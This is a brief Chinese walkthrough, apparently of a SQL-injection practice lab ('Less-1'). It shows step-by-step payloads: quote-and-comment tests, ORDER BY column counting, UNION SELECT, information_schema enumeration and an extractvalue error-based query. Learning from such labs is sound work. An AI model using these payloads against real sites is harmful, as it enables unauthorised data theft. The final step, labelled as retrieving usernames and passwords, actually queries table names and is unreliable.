less1

1.输入id=1,得到了ID和Password
?id=1

2.and 1=1 和 1=2都没有报错

3.加上单引号后出现报错,可能存在SQL字符注入


4.用–+将‘注释掉后回显正常,说明这里是单引号字符型注入

5.用order语句判断列数,order by 3没有报错,改为4的时候出现回显错误,说明这个表有3列

6.将id=1改为一个数据库不存在的id,用union select 1,2,3联合查询语句查看是否有回显
发现输出了2和3,说明有两个回显位
7.用sql语句,查询数据库名
(select group_concat(schema_name)from information_schema.schemata)


8.用sql语句,查询security中的所有表名
(select group_concat(table_name) from information_schema.tables where table_schema='security')


9.查询出列名
select group_concat(column_name) from information_schema.columns where table_name='users'

10.查询所有的用户名,密码
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

文章评论